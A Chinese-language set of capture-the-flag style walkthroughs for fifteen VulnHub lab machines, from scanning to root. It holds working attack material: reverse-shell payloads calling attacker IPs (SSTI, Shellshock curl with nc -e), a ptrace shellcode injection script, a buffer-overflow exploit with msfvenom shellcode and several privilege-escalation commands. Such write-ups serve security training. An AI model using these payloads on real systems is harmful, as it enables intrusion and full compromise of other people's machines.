vulnhub靶机合集


点击标题即可进入对应靶机下载地址

1. medium_socnet

  1. 扫描发现5000端口的web页面和后台admin页面
  2. python代码执行一个反弹shell获得webshell而且是root权限,发现是在docker容器内部(cat /proc/1/cgroup查看初始进程id号发现有docker证明一定处于docker容器内部)
  3. for i in $(seq 1 10); do ping -c 1 172.17.0.$i;done 扫描内网存活ip
  4. 用venom进行内网穿透将该docker机映射到kai,然后挂上socket5代理,使用proxychains进行代理,就可以使用nmap等工具对内网进行探测
  5. 探测发现内网的172.17.0.1就是192.168.29.128也就是目标主机的内网ip,而172.17.0.2开放了9200端口,运行着有漏洞的服务
  6. searchsploit查找172.17.0.2主机漏洞服务的exp获得该主机root权限,在根目录发现password文件,用获得的密码MD5解密后ssh连接192.168.29.128目标主机
  7. 发现主机linux内核为低版本,采用内核提权(因为目标主机没有gcc命令而exp中有需要使用gcc命令的语句,所以对exp进行修整,具体操作为删减exp中用gcc编译的代码,将需要编译的文件在本地编译成.so后和exp一起传到目标主机)

ps:中等难度,因为处于docker容器内而需要注意对于内网的信息收集和探测

2.easy_cloudantivirus

(vnware中该靶机获取不到ip,需要修改配置文件中的网卡)

  1. 扫描发现开放了22端口和8080端口
  2. 在8080端口的web页面通过sql注入或者爆破进入后台
  3. 在后台利用python反弹shell或者nc串联的方式反弹获取webshell
  4. 信息收集发现.sql文件是sqllite的数据库文件,其中有password,经过对目标主机22端口的爆破(用/etc/passwd下的用户名)发现密码不对
  5. 继续信息收集发现有update_cloudav(拥有SUID权限且所有者是root)可执行文件和它的源码.c文件
  6. 对.c源码进行审计后发现只是简单加了个参数后的程序调用,采用SUID提权(利用命令注入的方式,通过nc串联反弹获取有root权限的shell)

ps:nc 192.168.29.128 4444 | /bin/bash | nc 192.168.29.128 7777nc的串联,适用于nc没有-e参数的场景),简单难度

3. Chronos

(该靶机vnware无法启动,用作者推荐的virtualbox)

  1. 扫描发现开放22、80、8000端口
  2. 访问80端口的web服务,在页面源码获取到一段js代码,查看发现包含了一段URL,域名为chronos.local,修改hosts文件将域名映射到本地主机ip上
  3. 再次进入80端口web页面发现页面有所改变,出现了一段当前系统时间的字符,抓包获得一段用base58加密的参数,将参数解密后发现是可以在linux上执行的命令参数(data '+Today is %A, %B %d, %Y %H:%M:%S.'可以直接执行)
  4. 利用命令注入,提交一段base58加密的反弹shell(用&&或者其他连接符,连接这段命令,这里可以用nc的串联)
  5. 获取到webshell后发现用户imera的目录下有user.txt文件但是现在是www-data权限打不开
  6. 进行代码审计发现chronos其他漏洞,而chronos-v2中使用的组件express-fileupload存在漏洞原型污染,这个是难点,这篇博客有详细解释和exp),利用该漏洞获得imera用户权限
  7. 查看user.txt发现第一枚flag
  8. sudo -l发现有可以无需密码执行的npm和node命令,利用node命令进行sudo提权sudo node -e 'child_process.spawn("/bin/bash",{stdio: [0,1,2]})',获得root权限进入/root目录查看第二枚flag,root.txt

ps:中等难度,难在找到第二个只在本地上运行的服务漏洞,推荐一个工具网站https://gchq.github.io/CyberChef,主要是magic模块自动解密比较方便

4. AdmX_new

  1. 扫描发现只打开了80端口
  2. 访问80端口的web服务,没有特殊信息,目录扫描发现wordpress相关目录
  3. 进入/wordpress目录发现加载十分缓慢,burp抓包查看发现该页面的源代码中硬编码写死了一些对192.168.159.145上资源的访问(而实际没有这个ip的主机,所以这就是页面加载十分缓慢也样式特效等没有加载出来的原因),可以使用burp的自动替换功能,具体方式为:先进入option->Match and Replace,然后把原本默认的一些规则删除,添加响应头和响应体的替换规则,将192.168.159.145替换为靶机ip,重新访问就会正常加载资源了
  4. 进入wordpress默认后台目录,也就是/wp-admin用默认用户名admin进行密码爆破,得到密码adam14
  5. 进入后台插件管理模块,上传一个自制webshell插件,插件只需要在php代码前按要求加上插件名字的注释,然后压缩成zip格式就可以上传了
  6. 访问插件目录/wordpress/wp-content/plugins/shell.php,获取反弹shell
  7. 查看/etc/passwd发现有wpadmin用户,su wpadmin用网站后台密码adam14切换成该用户,在/home/wpadmin/local.txt获得第一枚flag
  8. sudo -l发现可以root权限运行mysql,sudo mysql -u root -D wordpress -p进入mysql,正常情况下也可以查看wp-config.php文件里面有数据库账号和密码,然后在mysql中运行system /bin/bash即可获取mysql的shell权限也就是root权限,提权成功,查看/root/proof.txt获取第二枚flag

ps:中等难度

5. hard_socnet

  1. 扫描发现开启了22,80,8000端口
  2. 访问80端口发现一个登录页面,注册账号登录后进入个人主页面,在头像图片上传处存在文件上传漏洞,可直接上传php的webshell并通过图片url地址连接
  3. 顶部search栏存在SQL注入漏洞,抓包sqlmap可以跑出admin和其他用户的的账号密码,但是进入别的账号并没有其他有用信息
  4. 第一种提权方式,利用CVE-2021-3493,只需要下载网上的exp编译运行就可以直接提权成root,但是在靶机推出的时候是没有这个CVE漏洞的
  5. 原本的提权方式,利用monitor.py中的漏洞命令执行代码获得socnet的权限
  6. 逆向并动态调试add_record程序,查看汇编源码发现程序中存在自身有漏洞的vuln函数和backdoor函数
  7. payload:
    python -c "import struct; print('aa\n1\n1\n1\n' + 'A'*62 + struct.pack('I',0x08048676))" > payload
    cat payload - > ./add_record

ps:该靶机本来属于高难度靶机,但是因为有CVE-2021-3493的原因可以使提权变得简单,而本来的提权方式正好就是这台靶机的难点,有大量的逆向汇编代码动态调试分析过程,这里就没有细细写明了

6. EvilBox---One

  1. 扫描发现打开的80端口和22端口
  2. 访问80端口的web服务没有任何显示,目录扫描发现/secret目录,对该目录再次进行下一级扫描发现evil.php
  3. 进入页面发现还是没有任何信息显示,ffuf对该url进行参数爆破(普通的param=value的方式失败了,但是用文件包含的思路爆破param=../index.html发现可以成功),发现文件包含漏洞参数为command
  4. 利用文件包含漏洞+php://filter获取到evil.php源码,看到了文件包含的代码
  5. 查看/etc/passwd发现存在mowree用户,且使用ssh mowree@192.168.29.128 -v从返回的信息中发现Authentications that can continue: publickey,password,意思是允许公钥或密码的方式登录
  6. 文件包含?command=../../../../../../../home/mowree/.ssh/authorized_keys,发现存在公钥,信息中说明了允许登录的用户就是mowree,于是?command=../../../../../../../home/mowree/.ssh/id_rsa获取私钥(查看源码并copy以保证私钥格式不乱),私钥本地保存,登录时发现私钥还有一道密码
  7. 利用john对私钥加密密码爆破(运行前用john自带的ssh2john.py脚本将id_rsa转变成john识别的格式),破解出密码为unicorn
  8. ssh登录mowree用户后获得/user.txt第一枚flag,然后发现/etc/passwd文件是所有用户可写的
  9. 直接openssl passwd -1加密一个123,把加密内容直接替换/etc/passwd下的root用户密码位,su后在/root/root.txt获得第二枚flag

ps:中等难度,其中有大量的需要爆破的环节,推荐seclists字典,可以github下载或apt install seclists

7.Hacker_Kid-v1.0.1

  1. 信息收集发现开启了53,80,9999端口,且9999端口运行着Tornado服务
  2. 打开80端口给了一个提示信息DIG,有可能进一步的渗透和DNS有关,查看源代码给了一个page_no参数的提示
  3. 进行?page_on=1的参数爆破,发现page_on=21时页面回显有信息提示,给了一个域名 hackers.blackhat.local,在hosts文件做一个域名和靶机ip的映射,但是发现映射后访问该域名,主页内容还是没有变
  4. 用工具dig axfr @192.168.29.136 blackhat.local 对DNS信息收集,获得了SOA记录的另一个子域名hackerkid.blackhat.local,同样作ip-域名映射后访问域名发现是一个注册页面
  5. 对该注册页面抓包发现xxe漏洞,先查看/etc/passwd发现有saket用户,结合伪协议进行信息收集php://filter/read=convert.base64-encode/resource=/home/saket/.bashrc,查看内容发现一串密码Saket!#$%@!!,结合9999端口是一个登录页面,用该密码可以直接登陆,但是用户名还是saket并不是admin
  6. 登录后发现提示可能有name变量名,提交一个?name=123参数发现可以在页面回显出来123,结合9999端口因为是Tornado服务,提交{{2*2}}发现SSTI漏洞,编写一段url编码特殊符号后的payload获得saket用户的反弹shell,
    代码:%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.29.128/4444%200%3E%261%22%27%29%7D%7D
  7. capabilities提权getcap -r / 2>/dev/null发现python2.7被赋予的cap_sys_ptrace,可以调试挂接到系统已存在进程的特殊权限,利用该权限和网上搜寻的python进程注入脚本注入到一个root账号的进程中(先ps -aef | grep root选择一个root进程,python2.7 inject.py 端口实现注入,查看5600端口是否有服务启动,有的话代表成功,直接nc连接5600端口即可),即可获得root权限、

ps:中等难度,进程注入脚本inject.py:

点击查看代码
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

8.Y0usef

  1. 信息收集开启了22,80端口
  2. 访问80端口无其他信息,目录扫描发现/adminstration目录,访问返回403,在请求头添加X-Forwarded-For:127.0.0.1头部进行403绕过限制
  3. 绕过后出现一个登录页面,输入弱口令admin:admin登陆成功
  4. 发现文件上传点,上传一句话shell.php,修改 mine文件类型为image/png,上传成功,获取反弹shell
  5. 在/home目录发现user.txt文件,打开发现是yousef用户的用户名和密码,切换成yousef用户,sudo -l发现有所有命令的sudo权限
  6. 直接sudo -s提权为root,进入/root拿到第二个flag

ps:难度属于十分简单

9.Vkings

  1. 信息收集开启了22,80端口
  2. 访问80端口web页面,路径扫描得到/site/war.txt,进入又得到/war-is-over路径,访问得到一串编码
  3. 先base64解码得到一串乱码字符,用CyberChef的Entropy模块计算一下熵接近于8,应该是个压缩文件,将base64解密后的乱码保存为一个zip文件
  4. 解压发现需要密码,使用john爆破rockyou.txt作为字典得到密码ragnarok123,解压缩后是一张图片,binwalk分离出一个文本文件user,查看后尝试用里面的信息ssh登录目标靶机,最后发现用户名密码是floki:f@m0usboatbuilde7
  5. 登录后在查看/etc/passwd发现还有一个用户ragnar,且在当前目录有两个文件,根据提示信息是要找到第29个素数并进行科拉茨猜想(一个数是奇数就*3+1,是偶数就/2),将科拉茨猜想得到的一串结果保存为一串数组,然后将其中的可打印且在ascii范围(<256)内的字符筛选出来得到一串密文mR)|>^/Gky[gz=.F#j5P( ,用密文登录ragnar账号
  6. 登录后就发现自动执行了一个sudo的命令,查看~/.profile文件发现执行的是sudo python3 /usr/local/bin/rpyc_classic.py这条命令
  7. 阅读rpyc_classic.py源码结合查看rpyc官方文档,分析发现可以通过客户端提交请求发到服务端,让服务端执行请求内容,自己编写一段exp.py,里面执行一段将该ragnar账号加入到sudo组的命令,运行exp.py后再次登录ragnar账号发现已有提示说可以用sudo执行命令了,直接sudo -s提权成功,在/root拿到flag

ps:难度中等,附exp.py:

点击查看代码
import rpyc
def shell():
    import os
    os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()

10.hacksudo - Thor

  1. 信息收集发现开启了21,22,80端口
  2. 进入80端口的web页面,查看源码发现有个cgi-bin的提示,访问/cgi-bin目录发现存在但是是禁止访问状态
  3. 目录扫描得到一个README.md文件和/admin_login.php目录
  4. 打开README.md发现该网站的源码及其他信息都是托管在github上的,在上面看到了默认管理员账号密码,用该密码登录admin_login.php的后台登录页面
  5. 进入后发现没有什么可以获取到shell的漏洞,只有一些sql注入及逻辑漏洞
  6. 对/cgi-bin目录进行目录扫描得到shell.php和backup.cgi,nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 10.0.2.7扫描
  7. 后发现存在破壳漏洞
  8. 用破壳漏洞的exp,curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'nc -e /bin/bash 10.0.2.4 4444'" http://10.0.2.7/cgi-bin/shell.sh 获取反弹shell
  9. 获得shell后sudo -l查看发现可以以thor身份无密码执行/home/thor/./hammer.sh,执行sudo -u thor /home/thor/./hammer.sh,测试输入两条信息后发现第二条输入的信息会被当做命令执行,所以第二个信息输入点输入/bin/bash成功获取到thor权限
  10. sudo -l发现可以无密码以root身份执行cat和service,使用service提权,执行sudo service ../../bin/bash (GTFObins提权,https://gtfobins.github.io/# 搜索service),成功获取root权限
    ps:中等难度,GTFOBins:https://gtfobins.github.io,渗透提权利器,可以查看有命令权限配置不当的话如何提权

11.Billu_b0x

  1. 信息收集发现开启了80端口和22端口
  2. 进入80端口发现提示有sql注入漏洞,常规sql测试均失败,跑sql注入payload字典发现un=or 1=1#&ps=\可以成功登录进入后台
  3. 进入后发现一个文件上传点,上传有后缀名,和文件内容头部检查,修改后缀为png,在上传的php反弹木马前加上GIF89a;头部,上传成功
  4. 目录扫描发现add和show等路径,进入add发现就是一个文件上传处一样的提交表单,同时在/panel.php页面的参数中发现有参数load=add或load=show,所以该处是一处文件包含漏洞,将load参数改为包含上传的php反弹木马路径,就可以包含成功,获得反弹shell
  5. 获取反弹shell后查看linux版本发现是低版本,采用内核提权(kali里的linux/local/37292.c)在靶机编译执行后即可获取root权限

发现的其他漏洞:

  1. 路径扫描是同时也发现了test.php文件,测试发现是一个任意文件下载漏洞
  2. 利用该任意文件下载漏洞直接下载index.php进行代码白盒审计突破sql注入
  3. 也可以利用发现的c.php文件源代码中的数据库账号和密码登录路径/phpmy的页面,在auth数据库发现该网站登录的账号和密码
  4. 再扫描/phpmy的子路径,发现了config.inc.php文件,利用任意文件下载漏洞查看发现一个root:roottoor的账号密码,利用该密码直接ssh登录root

ps:偏简单难度的靶机,有很多的漏洞可以利用,可能除了上述还有很多可以挖掘

12.Fawkes

  1. 基本信息收集过后,在21端口的ftp服务可以get下载一个可执行文件,执行后会在9898端口起一个服务,而且与靶机9898端口运行的服务一样
  2. 测试该可执行文件有无缓存区溢出漏洞,关闭kali中的alsr功能(aslr是一种针对缓冲区溢出的安全保护技术,会让程序内次启动内存地址随机化),方便后续本地动态调试可执行文件,找到缓存区溢出漏洞,/proc/sys/kernel/randomize_va_space改成0
  3. 动态调试工具(带界面):edb-debugger,测试后发现存在缓存区溢出,输入的数据从112字节之后的四个字节进入EIP寄存器,后面的进入ESP寄存器,将EIP寄存器内容指定为该程序中的一个jmp esp指令地址,然后ESP寄存器放入反弹shell指令(可以用edb-debugger的插件查找程序中指令地址)
  4. 二进制反弹shellpayload生成:msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.130 LPORT=4444 -b "\x00" -f py,编写exp.py拼接payload,连接靶机9898端口,发送payload,获得反弹shell,目录下获得harry的ssh登录密码HarrYp0tter@Hogwarts123,登录靶机2222端口
  5. 登录后信息收集发现在docker容器环境内,sudo -l发现可以sudo直接提权,sudo -s成为root在在/root目录获得一枚flag和提示信息,提示要分析ftp流量
  6. tcpdump -i eth0 port 21,等2分钟在流量包中发现的ftp登录的信息,获得明文登录账号密码neville:bL!Bsg3k,用该账号登录靶机22端口后,正式获取到靶机的shell,获得第二枚flag
  7. 提权使用cve-2021-3156关于堆溢出的漏洞(exp链接:https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py, 需要修改文件中的sudo路径,因为靶机中的sudo路径是在/usr/local/bin/sudo),提权成功后在/root下获得第三枚flag

ps:高难度靶机,和web基本没什么关系(当然80端口也是放了张图片的),难在利用缓存区溢出漏洞和怎么提权,附缓存区漏洞利用代码exp.py:

点击查看代码
#!/usr/bin/python
import sys,socket

buf =  b""
buf += b"\xdb\xc3\xba\x05\xe2\xcb\xee\xd9\x74\x24\xf4\x5e\x33"
buf += b"\xc9\xb1\x12\x31\x56\x17\x83\xc6\x04\x03\x53\xf1\x29"
buf += b"\x1b\x6a\x2e\x5a\x07\xdf\x93\xf6\xa2\xdd\x9a\x18\x82"
buf += b"\x87\x51\x5a\x70\x1e\xda\x64\xba\x20\x53\xe2\xbd\x48"
buf += b"\xa4\xbc\x3f\x0a\x4c\xbf\x3f\x1b\xd1\x36\xde\xab\x8f"
buf += b"\x18\x70\x98\xfc\x9a\xfb\xff\xce\x1d\xa9\x97\xbe\x32"
buf += b"\x3d\x0f\x57\x62\xee\xad\xce\xf5\x13\x63\x42\x8f\x35"
buf += b"\x33\x6f\x42\x35"

payload = 'A'*112 + '\x55\x9d\x04\x08' + '\x90'*32 + buf
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect('192.168.1.135',9898)
    s.send(payload)
    s.close()
except:
    print("wrong!")
    sys.exit()

13.Doubletrouble

  1. 进入80端口的web页面信息收集后发现该web应用的CMS dbqM9.1有远程RCE漏洞(CVE-2020-7246),不过需要先登录
  2. 路径扫描得到一张图片,用steghide发现有隐藏文件但是需要密码,使用stegseek工具通过rockyou.txt自编爆破该隐写图片密码,得到密码92camaro,得到隐写的文件,里面是一串账号密码otisrush@localhost.com/otis666
  3. 用的到的账号密码登录系统,然后使用搜索得到的远程RCE的exp(/php/webapps/50175.py)直接获取一个反弹shell
  4. sudo -l发现可以直接提权,sudo -s提权后进入/root目录获得第二台靶机ova文件
  5. 下载打开端口扫描后进入web页面,是一个登录框,sqlmap直接跑出时间盲注,获得两对账号密码
  6. 尝试后发现有一对可以ssh登录第二个靶机,登录后uname -a发现该靶机可以脏牛提权,下载exp(https://gitcode.net/mirrors/FireFart/dirtycow/-/blob/master/dirty.c),编译运行后按步骤即可提权

14.Nagini

  1. 进入80端口的web页面没有有效信息,路径扫描发现cms使用的joomla
  2. 换seclists中较大的字典发现了note.txt,阅读发现一个域名https://quic.nagini.hogwarts而且使用的是http3
  3. 修改hosts将域名和靶机ip绑定,然后使用特定的客户端工具(能支持http3)访问域名,得到提示信息可能有备份文件和一个路径/internalResourceFeTcher.php
  4. 通过备份文件泄露的信息,访问joomla配置文件/configuration.php,得到了网站数据库的账号密码
  5. /internalResourceFeTcher.php路径进入后发现存在ssrf漏洞,这时可以利用gopher协议操作数据库,借助工具Gopherus对数据数据查询最后的得到网站管理员账号密码(数据库中密码加密存放,可以直接update修改管理员密码比较便捷,MD5格式存放)
  6. 登录后台后找到模板文件修改index.php内容为php的反弹shell,然后访问获得反弹shell
  7. 在网站根目录获得第一枚flag,进入/home/snape,发现了snape用户的密码,切换成snape用户
  8. 进入hermoine用户主目录发现bin目录下有可执行文件且有SUID权限,突破思路是在本机生成ssh密钥对,公钥scp到snape用户目录,然后用该可执行程序./su_cp /home/snape/id_rsa.pub /home/hermoine/.ssh,copy公钥到.ssh文件中,然后改名authorized_keys,本机直接ssh登录hermoine用户
  9. 在hermoine用户主目录获得第二枚flag,同时发现存在.mozilla文件,用工具firefox_decrypt做firefox浏览器密码还原得到root密码为@Alohomora#123
  10. ssh登录,root目录取得第三位flag

ps:中高难度
firefox_decrypt:https://github.com/unode/firefox_decrypt,
Gopherus:https://github.com/tarunkant/Gopherus

15.Ripper

  1. 扫描发现开启了80,22和10000端口,进入80端口时apache页面,进入10000端口发现是webmin登录页面
  2. 扫描10000端口的目录发现robots.txt,打开发现base64编码的提示信息,提示使用rips
  3. 进入80端口的/rips目录发现有rips服务,利用rips扫描/var/www路径最终得到信息 /var/www/html/rips/secret.php中有一串账号密码ripper:Gamespeopleplay
  4. 利用该账号密码以ripper身份ssh登录目标靶机,在主目录获得第一个flag,然后lsb_release -a查看发现是ubuntu18.04版本,尝试使用之前打把使用过的CVE-2021-3493,发现可以成功提权到root,在root目录获得第二个flag

靶机发布时没有这个CVE,原解法如下:

  1. 查看home发现还有一个cubes用户
  2. find / -user cubes -type f -exec ls -la {} \; 2>/dev/null,找到属主为cubes的文件并列出当前用户对该文件的权限,为了找到当前用户可读但属于cubes的文件,发现了/mnt/secret.file文件,打开获得cubes用户的密码 Il00tpeople
  3. 切换到cubes用户,在/var/webmin/backup发信备份日志文件,在身份认证条目查找到了webmin的账号密码admin:tokiohotel
  4. 登录10000端口的webmin后台,打开others的command shell即可获得一个root权限的交互式网页端的shell(因为查看日志也可以发现webmin是在/root目录下启动的,获得的这个shell是root权限也不奇怪),也可以利用msf的webmin漏洞(也需要账号密码)获得rootshell

ps:难度,低


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM